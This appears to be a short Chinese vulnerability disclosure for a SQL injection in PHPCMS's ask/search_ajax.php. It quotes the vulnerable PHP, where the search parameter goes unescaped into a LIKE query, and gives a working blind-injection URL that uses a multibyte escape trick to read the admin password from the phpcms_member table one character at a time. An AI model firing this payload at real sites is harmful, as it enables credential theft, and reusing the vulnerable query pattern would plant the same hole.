漏洞文件：ask/search_ajax.php

code：

<?php
require './include/common.inc.php';
require_once MOD_ROOT.'include/ask.class.php';
$ask = new ask();
header('Content-type: text/html; charset=utf-8');
if(strtolower(CHARSET) != 'utf-8') $q = iconv(CHARSET, 'utf-8', $q);
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";
}
else
{
exit('null');
}

$infos = $ask->listinfo($where, 'askid DESC', '', 10);

foreach($infos as $key=>$val)
{
$val['title'] = str_replace($q, '<span class="c_orange">'.$q.'</span>', $val['title']);
$info[$key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $val['title']) : $val['title'];
$info[$key]['url'] = $val['url'];
}

echo(json_encode($info));
?>

测试方法：
ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23